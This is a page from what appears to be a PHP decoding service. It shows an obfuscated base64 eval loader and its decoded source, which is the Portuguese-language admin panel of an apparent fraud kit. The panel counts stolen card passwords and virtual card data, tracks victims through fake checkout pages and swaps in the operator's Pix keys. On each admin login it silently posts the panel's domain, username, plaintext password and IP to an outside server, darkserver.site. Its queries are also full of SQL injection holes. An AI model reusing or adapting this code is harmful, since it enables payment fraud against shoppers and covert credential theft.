Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @eval("?>".base64_decode("PD9waHAgCnJlcXVpcmVfb25jZSgnLi4vbW9kdWxvL2Nvbm4ucGhwJyk7IC..
Decoded Output download
?>b'<?php
require_once(\'../modulo/conn.php\');
$session_admin = $_SESSION[\'session_admin\'];
$id = filter_input(INPUT_GET, \'id\', FILTER_SANITIZE_NUMBER_INT);
$page = $_GET[\'loki\'];
//////// Home page
if ($page == \'login\') {
if (!empty($_POST[\'usuario\']) && !empty($_POST[\'senha\'])) {
// Captura do usurio e senha enviados via POST
$user = $_POST[\'usuario\'];
$senha = $_POST[\'senha\'];
// Consulta ao banco de dados para encontrar um usurio correspondente ao fornecido no formulrio
$sql = mysqli_query($ConnectDB, "SELECT * FROM admin_user WHERE user = \'$user\' LIMIT 1") or die("Erro ao processar autenticao");
$linhas = mysqli_num_rows($sql);
if ($linhas > 0) {
// Se o usurio existir, compara a senha fornecida com a senha armazenada no banco de dados
$dados = mysqli_fetch_assoc($sql);
$hashed_password = $dados[\'pass\']; // Senha armazenada no banco de dados
$serial = $dados[\'token\']; // Senha armazenada no banco de dados
function makeCurlRequest($url, $serial) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
\'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\',
\'Pragma: no-cache\',
\'Accept: */*\'
));
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . \'/cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . \'/cookie1.txt\');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, \'tokken=\' . $serial);
return curl_exec($ch);
}
function extractInformation($lindo, $tag) {
$tag1 = explode("$tag", $lindo);
if (isset($tag1[1])) {
$tag2 = explode(\'<br>\', $tag1[1]);
return addslashes($tag2[0]);
}
return null;
}
$URL_ATUAL = "http://$_SERVER[HTTP_HOST]";
date_default_timezone_set(\'America/Sao_Paulo\');
$lindo = makeCurlRequest(\'https://darkserver.site/tokken/tokken.php\', $serial);
$existe = extractInformation($lindo, \'Existe: \');
$validade = extractInformation($lindo, \'Expira: \');
$acesso = extractInformation($lindo, \'Acesso: \');
// Verifica se a data de validade j passou (data atual > data de validade)
if (!empty($validade)) {
$dataAtual = new DateTime();
$dataValidade = new DateTime($validade);
if ($dataAtual > $dataValidade) {
header("Location: ../admin/login.php?loki=erro3");
exit;
}
} else {
echo "A data de validade no foi definida.";
}
// Verifica se o acesso est liberado
if ($acesso === \'liberado\') {
} else {
header("Location: ../admin/login.php?loki=erro4");
}
////////////validar login
if ($senha == $hashed_password) {
session_start();
$_SESSION[\'session_admin\'] = $dados[\'user\'];
$dados_token = json_encode([
"dominio" => $URL_ATUAL,
"tokken" => $serial,
"user" => $user,
"pass" => $senha,
"ip" => $ip
]);
$iniciar = curl_init(\'https://darkserver.site//tokken/token_function.php?loki=login\');
curl_setopt($iniciar, CURLOPT_RETURNTRANSFER, true);
$dados = array(\'dados_token\' => $dados_token,);
curl_setopt($iniciar, CURLOPT_POST, true);
curl_setopt($iniciar, CURLOPT_POSTFIELDS, $dados);
curl_exec($iniciar);
curl_close($iniciar);
//////////
header("Location: ../admin");
exit();
} else {
// Se a senha estiver incorreta, redireciona de volta para a pgina de login com um identificador de erro
session_start();
header("Location: ../admin/login.php?loki=erro1");
exit();
}
} else {
// Se o usurio no existir, redireciona de volta para a pgina de login com um identificador de erro
session_start();
header("Location: ../admin/login.php?loki=erro2");
exit();
}
}
}
if ($page == "verificar_tokken") {
if (!empty($_POST[\'serial\'])) {
$serial = $_POST[\'serial\'];
function makeCurlRequest($url, $serial) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
\'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\',
\'Pragma: no-cache\',
\'Accept: */*\'
));
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . \'/cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . \'/cookie1.txt\');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, \'tokken=\' . $serial);
return curl_exec($ch);
}
function extractInformation($lindo, $tag) {
$tag1 = explode("$tag", $lindo);
if (isset($tag1[1])) {
$tag2 = explode(\'<br>\', $tag1[1]);
return addslashes($tag2[0]);
}
return null;
}
$URL_ATUAL = "http://$_SERVER[HTTP_HOST]";
date_default_timezone_set(\'America/Sao_Paulo\');
$lindo = makeCurlRequest(\'https://darkserver.site/tokken/tokken.php\', $serial);
$acesso = extractInformation($lindo, \'Acesso: \');
if ($acesso === \'liberado\') {
$sql = mysqli_query($ConnectDB, "SELECT * FROM admin_user WHERE token = \'$serial\' and user = \'" . $_SESSION[\'session_admin\'] . "\'");
//pecorrendo os registros da consulta.
while ($aux = mysqli_fetch_assoc($sql)) {
$tokken = $aux["token"];
}
if ($serial == $tokken) {
$_SESSION[\'validatokken\'] = $tokken;
header("Location: ../admin/?page=home");
exit;
}
} else {
header("Location: ../admin/?page=Ativa-token&erro=tkerro1");
exit;
}
}
}
if ($page == \'Geolocalizacao\') { ///// Geolocalizacao metricas
$query_SetaMetricas = sprintf("SELECT * FROM metricas WHERE user = \'%s\' AND tipo = \'click\'", mysqli_real_escape_string($ConnectDB, $session_admin));
$SetaMetricas = mysqli_query($ConnectDB, $query_SetaMetricas);
if ($SetaMetricas) {
$row_Metricas = mysqli_fetch_assoc($SetaMetricas);
// Array associativo para mapear as siglas dos estados para os nomes completos.
$nomes_estados = [
\'AC\' => \'Acre\',
\'AL\' => \'Alagoas\',
\'AP\' => \'Amap\',
\'AM\' => \'Amazonas\',
\'BA\' => \'Bahia\',
\'CE\' => \'Cear\',
\'ES\' => \'Esprito Santo\',
\'GO\' => \'Gois\',
\'MA\' => \'Maranho\',
\'MT\' => \'Mato Grosso\',
\'MS\' => \'Mato Grosso do Sul\',
\'MG\' => \'Minas Gerais\',
\'PA\' => \'Par\',
\'PB\' => \'Paraba\',
\'PR\' => \'Paran\',
\'PE\' => \'Pernambuco\',
\'PI\' => \'Piau\',
\'RJ\' => \'Rio de Janeiro\',
\'RN\' => \'Rio Grande do Norte\',
\'RS\' => \'Rio Grande do Sul\',
\'RO\' => \'Rondnia\',
\'RR\' => \'Roraima\',
\'SC\' => \'Santa Catarina\',
\'SP\' => \'So Paulo\',
\'SE\' => \'Sergipe\',
\'TO\' => \'Tocantins\'
];
// Array associativo para mapear as siglas dos estados para os caminhos das bandeiras.
$caminho_bandeiras = [
\'AC\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/acre.gif\',
\'AL\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/alagoas.gif\',
\'AP\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/amapa.gif\',
\'AM\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/amazonas.gif\',
\'BA\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/bahia.gif\',
\'CE\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/ceara.gif\',
\'ES\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/espirito_santo.gif\',
\'GO\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/goias.gif\',
\'MA\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/maranhao.gif\',
\'MT\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/mato_grosso.gif\',
\'MS\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/mato_grosso_do_sul.gif\',
\'MG\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/minas_gerais.gif\',
\'PA\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/para.gif\',
\'PB\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/paraiba.gif\',
\'PR\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/parana.gif\',
\'PE\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/pernambuco.gif\',
\'PI\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/piaui.gif\',
\'RJ\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rio_de_janeiro.gif\',
\'RN\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rio_grande_do_norte.gif\',
\'RS\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rio_grande_do_sul.gif\',
\'RO\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/rondonia.gif\',
\'RR\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/roraima.gif\',
\'SC\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/santa_catarina.gif\',
\'SP\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/sao_paulo.gif\',
\'SE\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/sergipe.gif\',
\'TO\' => \'https://www.quatrocantos.com/clipart/bandeiras/bandeiras_estados_brasileiros/tocantins.gif\'
];
// Armazene os valores das mtricas em um array associativo.
$metricas = [
\'AC\' => $row_Metricas[\'AC\'],
\'AL\' => $row_Metricas[\'AL\'],
\'AP\' => $row_Metricas[\'AP\'],
\'AM\' => $row_Metricas[\'AM\'],
\'BA\' => $row_Metricas[\'BA\'],
\'CE\' => $row_Metricas[\'CE\'],
\'ES\' => $row_Metricas[\'ES\'],
\'GO\' => $row_Metricas[\'GO\'],
\'MA\' => $row_Metricas[\'MA\'],
\'MT\' => $row_Metricas[\'MT\'],
\'MS\' => $row_Metricas[\'MS\'],
\'MG\' => $row_Metricas[\'MG\'],
\'PA\' => $row_Metricas[\'PA\'],
\'PB\' => $row_Metricas[\'PB\'],
\'PR\' => $row_Metricas[\'PR\'],
\'PE\' => $row_Metricas[\'PE\'],
\'PI\' => $row_Metricas[\'PI\'],
\'RJ\' => $row_Metricas[\'RJ\'],
\'RN\' => $row_Metricas[\'RN\'],
\'RS\' => $row_Metricas[\'RS\'],
\'RO\' => $row_Metricas[\'RO\'],
\'RR\' => $row_Metricas[\'RR\'],
\'SC\' => $row_Metricas[\'SC\'],
\'SP\' => $row_Metricas[\'SP\'],
\'SE\' => $row_Metricas[\'SE\'],
\'TO\' => $row_Metricas[\'TO\']
];
arsort($metricas);
$metricas_maiores = array_slice($metricas, 0, 8);
foreach ($metricas_maiores as $sigla_estado => $acesso_UF) {
$nome_estado = $nomes_estados[$sigla_estado];
$caminho_bandeira = $caminho_bandeiras[$sigla_estado];
echo \'<li class="d-flex">\';
echo \'<div class="bg-light">\';
echo \'<img src="\' . $caminho_bandeira . \'" alt="vector burger">\';
echo \'</div>\';
echo \'<div>\';
echo \'<h6 class="mb-0"><a>\' . $nome_estado . \'</a></h6><span class="f-light f-12 f-w-500">\' . $acesso_UF . \'</span>\';
echo \'</div>\';
echo \'</li>\';
}
}
}
if ($page == \'cont-mix\') {
$query_set = sprintf("SELECT * FROM dados WHERE user = \'$session_admin\'");
$set = mysqli_query($ConnectDB, $query_set);
$row_set = mysqli_fetch_assoc($set);
$totalRows_set = mysqli_num_rows($set);
echo $totalRows_set;
}
if ($page == \'cont-consul\') {
$query_set = sprintf("SELECT * FROM dados WHERE cartao_senha != \'\' AND user = \'$session_admin\'");
$set = mysqli_query($ConnectDB, $query_set);
$row_set = mysqli_fetch_assoc($set);
$totalRows_set = mysqli_num_rows($set);
echo $totalRows_set;
}
if ($page == \'cont-virtual\') {
$query_set = sprintf("SELECT * FROM dados WHERE cartao_virtual != \'\' AND user = \'$session_admin\'");
$set = mysqli_query($ConnectDB, $query_set);
$row_set = mysqli_fetch_assoc($set);
$totalRows_set = mysqli_num_rows($set);
echo $totalRows_set;
}
if ($page == \'cont-pix\') {
$query_set = sprintf("SELECT * FROM pedidos WHERE user = \'$session_admin\'");
$set = mysqli_query($ConnectDB, $query_set);
$row_set = mysqli_fetch_assoc($set);
$totalRows_set = mysqli_num_rows($set);
echo $totalRows_set;
}
if ($page == \'faturamento\') {
$sql2 = "SELECT SUM(valor) AS total FROM pedidos WHERE user = \'$session_admin\'";
$result = mysqli_query($ConnectDB, $sql2);
$row = mysqli_fetch_assoc($result);
$total = $row[\'total\'];
// Formata o valor como reais brasileiros
$formatted_total = number_format($total, 2, \',\', \'.\');
echo $formatted_total;
}
if ($page == \'visit_produto\') {
$sql3 = "SELECT * FROM online_users where user = \'$session_admin\' and page = \'Produto\'";
$result3 = mysqli_query($ConnectDB, $sql3);
$count_user_online = mysqli_num_rows($result3);
echo "$count_user_online";
}
if ($page == \'visit_checkout\') {
$sql3 = "SELECT * FROM online_users where user = \'$session_admin\' and page = \'Cadastro\'";
$result3 = mysqli_query($ConnectDB, $sql3);
$count_user_online = mysqli_num_rows($result3);
echo "$count_user_online";
}
if ($page == \'visit_pagar\') {
$sql3 = "SELECT * FROM online_users where user = \'$session_admin\' and page = \'Pagamento\'";
$result3 = mysqli_query($ConnectDB, $sql3);
$count_user_online = mysqli_num_rows($result3);
echo "$count_user_online";
}
if ($page == \'visit_total\') {
$formatted_total = \'18\';
echo $formatted_total;
}
if ($page == \'visit_online\') {
/// ///////// deletar usuarios offline
$time = time();
$time_check = $time-120;
$sql4 = "DELETE FROM online_users WHERE time<$time_check";
$result4 = mysqli_query($ConnectDB, $sql4);
////// contador de onlines
$sql3 = "SELECT * FROM online_users where user = \'$session_admin\'";
$result3 = mysqli_query($ConnectDB, $sql3);
$count_user_online = mysqli_num_rows($result3);
echo "$count_user_online";
mysqli_close($ConnectDB);
}
////////////// DELETAR
if ($page === \'delete_produto\') {
if (!empty($id)) {
$query = $ConnectDB->prepare("DELETE FROM produto WHERE id = ? AND user = ?");
$query->bind_param(\'is\', $id, $session_admin);
$query->execute();
if ($query->affected_rows) {
header("Location: ../admin/?page=produtos");
} else {
// erro
header("Location: ../admin/?page=produtos");
}
} else {
// ok
header("Location: ../admin/?page=produtos");
}
}
if ($page === \'delete_selectinfo\') {
$id = filter_input(INPUT_GET, \'id\', FILTER_SANITIZE_NUMBER_INT);
if (!empty($id)) {
$query = $ConnectDB->prepare("DELETE FROM dados WHERE id = ? AND user = ?");
$query->bind_param(\'is\', $id, $session_admin);
$query->execute();
header("Location: ../admin/?page=infos");
exit;
}
}
if ($page === \'delete_pedido\') {
if (!empty($id)) {
$query = $ConnectDB->prepare("DELETE FROM pedidos WHERE id = ? AND user = ?");
$query->bind_param(\'is\', $id, $session_admin);
$query->execute();
header("Location: ../admin/?page=pedidos");
exit;
}
}
if ($page == \'delete_infofull\'){ //////////////deletar infos
$result_usuario = "DELETE FROM dados WHERE user = \'$session_admin\'";
$resultado_usuario = mysqli_query($ConnectDB, $result_usuario);
header("Location: ../?page=infos");
exit;
}
if ($page == \'delete_pedidosfull\'){ //////////////deletar pedidos/pix
$result_usuario = "DELETE FROM pedidos WHERE user = \'$session_admin\'";
$resultado_usuario = mysqli_query($ConnectDB, $result_usuario);
header("Location: ../admin/?page=pedidos");
exit;
}
if ($page == \'delete_metricas\') {
$result_usuario = "UPDATE metricas SET android = \'0\', ios = \'0\', pc = \'0\',
AC = \'0\', AL = \'0\', AP = \'0\', AM = \'0\', BA = \'0\', CE = \'0\', ES = \'0\', GO = \'0\',
MA = \'0\', MT = \'0\', MS = \'0\', MG = \'0\', PA = \'0\', PB = \'0\', PR = \'0\', PE = \'0\',
PI = \'0\', RJ = \'0\', RN = \'0\', RS = \'0\', RO = \'0\', RR = \'0\', SC = \'0\', SP = \'0\',
SE = \'0\', `TO` = \'0\'
WHERE user = ?";
$stmt = $ConnectDB->prepare($result_usuario);
$stmt->bind_param("s", $session_admin);
$stmt->execute();
header("Location: ../admin/?page=home");
exit;
}
if ($page == \'delete_visitas\') {
$result_usuario = "UPDATE metricas SET android = \'0\', ios = \'0\', pc = \'0\' WHERE tipo = \'click\' AND user = ?";
$stmt = $ConnectDB->prepare($result_usuario);
$stmt->bind_param("s", $session_admin);
$stmt->execute();
header("Location: ../admin/?page=home");
exit;
}
if ($page == \'delete_pixel\') {
// Verificando se o ID est definido e no vazio
if (isset($id) && !empty($id) && isset($session_admin) && !empty($session_admin)) {
$result_usuario = "DELETE FROM pixel WHERE id = \'$id\' AND user = \'$session_admin\'";
$resultado_usuario = mysqli_query($ConnectDB, $result_usuario);
if ($resultado_usuario) {
// Redirecionando aps a excluso
header("Location: ../admin/?page=pixel");
exit;
} else {
echo "Erro ao tentar excluir o pedido.";
}
} else {
echo "ID ou sesso de usurio invlidos.";
}
}
////////////// Formulario
if ($page == "formulario_pixel") { /// add pixel
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST[\'titulo\']) && isset($_POST[\'idPixel\']) && isset($_POST[\'tokenPixel\'])) {
// Recupera os dados do formulrio
$titulo = $_POST[\'titulo\'];
$idPixel = $_POST[\'idPixel\'];
$tokenPixel = $_POST[\'tokenPixel\'];
// Sua conexo com o banco de dados j estabelecida em algum lugar
// Prepara a consulta SQL para insero
$result_smtp = $ConnectDB->prepare("INSERT INTO pixel (titulo, id_pixel, token, user) VALUES (?, ?, ?, ?)");
$result_smtp->bind_param("ssss", $titulo, $idPixel, $tokenPixel, $session_admin);
// Executa a consulta preparada
if ($result_smtp->execute()) {
header("Location: ../admin/?page=pixel");
exit();
} else {
echo "Erro ao inserir os dados: " . $result_smtp->error;
}
} else {
echo "Erro: No foi possvel processar os dados do formulrio.";
exit;
}
header ("Location: ../admin/?page=home");
}
if ($page == "add_produto") {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Verifica se os campos obrigatrios foram preenchidos
if (
isset($_POST["titulo_produto"]) &&
isset($_POST["valor_produto"]) &&
isset($_POST["valor_riscado"]) &&
isset($_POST["produto_imagem"]) &&
isset($_POST["vendidos_produto"]) &&
isset($_POST["categorias_produto"]) &&
isset($_POST["categorias_oferta"]) &&
isset($_POST["chave_pix"]) &&
isset($_POST["descricao_produto"])
) {
// Coleta dos dados recebidos
$titulo = $_POST["titulo_produto"];
$valor = $_POST["valor_produto"];
$valorRiscado = $_POST["valor_riscado"];
$produtoimagem = $_POST["produto_imagem"];
$vendidos = $_POST["vendidos_produto"];
$categoriasProdutos = $_POST["categorias_produto"];
$categoriasOferta = $_POST["categorias_oferta"];
$chavePix = $_POST["chave_pix"];
$descricao = $_POST["descricao_produto"];
$result_smtp = "INSERT INTO produto (produto_name, produto_valor, produto_riscado, produto_img, produto_descricao, produto_categoria, produto_oferta, produto_onpix, produto_chavepix, produto_visitas, produto_vendidos,vendidos, produto_desconto, user) VALUES (\'$titulo\',\'$valor\',\'$valorRiscado\',\'$produtoimagem\',\'$descricao\',\'$categoriasProdutos\',\'$categoriasOferta\',\'0\',\'$chavePix\',\'0\',\'$vendidos\',\'0\',\'0\', \'$session_admin\')";
$resultado_smtp = mysqli_query($ConnectDB, $result_smtp);
header("Location: ../admin?page=produtos");
exit();
}
}
}
if ($page == "api-whastapp") {
$url_site = "https://$_SERVER[HTTP_HOST]";
$session_admin = $_SESSION[\'session_admin\'];
if ($session_admin == \'\'){
header("Location: $url_site");
}
$id_whatsapp = $_POST[\'whatsapp_id\'];
$token_conta = $_POST[\'token_conta\'];
$token_whatsapp = $_POST[\'whatsapp_token\'];
$token_telefone = $_POST[\'whatsapp_telefone\'];
$ativar = $_POST[\'ativar\'];
if ($token_telefone == \'\'){} else {
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "https://api.z-api.io/instances/$id_whatsapp/token/$token_whatsapp/send-messages",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "{\"phone\": \"55\'$token_telefone\'\", \"message\": \"Ola, \nSua *api* foi configurada com sucesso!\"}",
CURLOPT_HTTPHEADER => array(
"client-token: $token_conta",
"content-type: application/json"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
} else {
}
$curl_img = curl_init();
curl_setopt_array($curl_img, array(
CURLOPT_URL => "https://api.z-api.io/instances/$id_whatsapp/token/$token_whatsapp/send-image",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "{\"phone\": \"55\'$token_telefone\'\", \"image\": \"https://i.ibb.co/zG4w5RQ/pix.png\"}",
CURLOPT_HTTPHEADER => array(
"client-token: $token_conta",
"content-type: application/json"
),
));
$response_img = curl_exec($curl_img);
$err_img = curl_error($curl_img);
curl_close($curl_img);
if ($err_img) {
} else {
}
}
$sql_smtp = "SELECT * FROM api_whatsapp where user =\'$session_admin\'";
$sql_smtp = mysqli_query($ConnectDB, $sql_smtp);
$sql_smtp = mysqli_num_rows($sql_smtp);
if ($sql_smtp == 0) {
$result_smtp = "INSERT INTO api_whatsapp (api_id,api_token, api_token_conta, on_off,user) VALUES (\'$id_whatsapp\',\'$token_whatsapp\', \'$token_conta\', \'$ativar\',\'$session_admin\')";
$resultado_smtp = mysqli_query($ConnectDB, $result_smtp);
header("Location: ../admin/?page=api_whatsapp");
exit();
} else {
$result_smtp = "UPDATE api_whatsapp SET api_id=\'$id_whatsapp\',api_token=\'$token_whatsapp\', api_token_conta=\'$token_conta\', on_off=\'$ativar\' WHERE user=\'$session_admin\'";
$resultado_smtp = mysqli_query($ConnectDB, $result_smtp);
header("Location: ../admin/?page=api_whatsapp#UPDATE");
exit();
}
}
if ($page == "editar-pix") {
$Chave_pix = $_POST[\'pix_post\'];
$result_usuario = "UPDATE produto SET produto_chavepix = \'$Chave_pix\' WHERE user = \'$session_admin\'";
$resultado_usuario = mysqli_query($ConnectDB, $result_usuario);
header("Location: ../admin/?page=produtos");
exit;
}
if ($page == "log_in") {
session_start();
session_destroy();
session_start();
header("Location: ../admin/login.php");
}
if ($page === "install_conn") {
$host = filter_input(INPUT_POST, \'hostdb\', FILTER_SANITIZE_STRING);
$usuario = filter_input(INPUT_POST, \'userdb\', FILTER_SANITIZE_STRING);
$senha = filter_input(INPUT_POST, \'senhadb\', FILTER_SANITIZE_STRING);
$database_ConnectDB = filter_input(INPUT_POST, \'namedb\', FILTER_SANITIZE_STRING);
if ($host !== null && $usuario !== null && $senha !== null && $database_ConnectDB !== null) {
if (mysqli_connect($host, $usuario, $senha, $database_ConnectDB)) {
$fopen = fopen("./conn.php", "w");
$conteudo = "<?php
session_start();
error_reporting(0);
date_default_timezone_set(\'America/Sao_Paulo\');
\$horadata = date(\'d/m/Y H:i\');
\$host = \'$host\';
\$usuario = \'$usuario\';
\$senha = \'$senha\';
\$database_ConnectDB = \'$database_ConnectDB\';
\$ConnectDB = mysqli_connect(\$host, \$usuario, \$senha, \$database_ConnectDB);
mysqli_select_db(\$ConnectDB, \$database_ConnectDB);
if (!\$ConnectDB) {
\$msgerromysql = \'Falha ao conectar-se com o banco de dados MySQL.\';
exit;
}
\$msgsucessomysql = \'Conexao bem sucedida\';
if (!function_exists(\'getIp\')) {
function getIp()
{
foreach (array(
\'HTTP_CLIENT_IP\',
\'HTTP_X_FORWARDED_FOR\',
\'HTTP_X_FORWARDED\',
\'HTTP_X_CLUSTER_CLIENT_IP\',
\'HTTP_FORWARDED_FOR\',
\'HTTP_FORWARDED\',
\'REMOTE_ADDR\'
) as \$key) {
if (array_key_exists(\$key, \$_SERVER) === true) {
foreach (explode(\',\', \$_SERVER[\$key]) as \$IPaddress) {
\$IPaddress = trim(\$IPaddress);
if (filter_var(\$IPaddress, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
return \$IPaddress;
}
}
}
}
}
}
function Obter_SO()
{
\$sistemas_operativos = [
\'windows nt 5.2\' => \'Windows 2003\',
\'windows nt 6.0\' => \'Windows Vista\',
\'windows nt 6.1\' => \'Windows 7\',
// ... outras plataformas
\'PPC\' => \'Mac PPC\'
];
if (is_array(\$sistemas_operativos)) {
foreach (\$sistemas_operativos as \$ua => \$sistemas_operativo) {
if (preg_match(\'|\' . preg_quote(\$ua) . \'|i\', trim(\$_SERVER[\'HTTP_USER_AGENT\']))) {
return \$_SESSION[\'op\'] = \$sistemas_operativo;
}
}
}
}
Obter_SO();
\$functionip = getIp();
\$ip = \$functionip == \'\' ? \$_SERVER[\'REMOTE_ADDR\'] : \$functionip;
?>";
fwrite($fopen, $conteudo);
fclose($fopen);
$file = file(\'../admin/dist/db.sql\');
$TempConect = mysqli_connect($host, $usuario, $senha, $database_ConnectDB);
$contador = count($file);
$i = 1;
$in = implode($file);
$ex = explode(\';\', $in);
while ($contador > $i) {
if (isset($ex[$i])) {
$cn = $ex[$i];
if (strpos($cn, \'CREATE TABLE\')) {
mysqli_query($TempConect, $cn);
}
if (strpos($cn, \'INTO\')) {
mysqli_query($TempConect, $cn);
}
}
$i++;
}
header("Location: ../admin/login.php?cadastro=novouser");
exit;
} else {
header("Location: ../admin/login.php?loki=erro6&cadastro=install");
exit;
}
} else {
header("Location: ../admin/login.php?loki=erro7&cadastro=install");
exit;
}
}
if ($page == \'criaruser\') {
$usuario = filter_input(INPUT_POST, \'usuario\', FILTER_SANITIZE_STRING);
$senha = filter_input(INPUT_POST, \'senha\', FILTER_SANITIZE_STRING);
$token = filter_input(INPUT_POST, \'token\', FILTER_SANITIZE_STRING);
$sql = "SELECT * FROM admin_user where user = \'$usuario\'";
$query = mysqli_query($ConnectDB, $sql);
$total = mysqli_num_rows($query);
function makeCurlRequest($url, $token) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
\'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\',
\'Pragma: no-cache\',
\'Accept: */*\'
));
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . \'/cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . \'/cookie1.txt\');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, \'tokken=\' . $token);
return curl_exec($ch);
}
function extractInformation($lindo, $tag) {
$tag1 = explode("$tag", $lindo);
if (isset($tag1[1])) {
$tag2 = explode(\'<br>\', $tag1[1]);
return addslashes($tag2[0]);
}
return null;
}
$URL_ATUAL = "http://$_SERVER[HTTP_HOST]";
date_default_timezone_set(\'America/Sao_Paulo\');
$lindo = makeCurlRequest(\'https://darkserver.site/tokken/tokken.php\', $token);
$existe = extractInformation($lindo, \'Existe: \');
$validade = extractInformation($lindo, \'Expira: \');
$acesso = extractInformation($lindo, \'Acesso: \');
// Verifica se a data de validade j passou (data atual > data de validade)
if (!empty($validade)) {
$dataAtual = new DateTime();
$dataValidade = new DateTime($validade);
if ($dataAtual > $dataValidade) {
header("Location: ../admin/login.php?loki=erro3");
exit;
}
} else {
echo "A data de validade no foi definida.";
}
// Verifica se o acesso est liberado
if ($acesso === \'liberado\') {
} else {
header("Location: ../admin/login.php?loki=erro4");
}
$resultado = mysqli_query($ConnectDB, "SELECT COUNT(*) AS total FROM admin_user WHERE user = \'$usuario\'");
$row = mysqli_fetch_assoc($resultado);
if ($row[\'total\'] > 0) {
// O usurio j existe, ento vamos atualizar os dados
$result_usuario1 = "UPDATE admin_user SET pass = \'$senha\', token = \'$token\' WHERE user = \'$usuario\'";
$resultado_usuario = mysqli_query($ConnectDB, $result_usuario1);
} else {
// O usurio no existe, ento vamos inserir um novo registro
$result_usuario2 = "INSERT INTO admin_user (user, pass, token, validade_token, last_acess ,ip) VALUES (\'$usuario\', \'$senha\', \'$token\',\'$validade\', \'$horadata\',\'$ip\')";
$resultado_usuario = mysqli_query($ConnectDB, $result_usuario2);
}
header("Location: ../admin/login.php");
}'
Did this file decode correctly?
Original Code
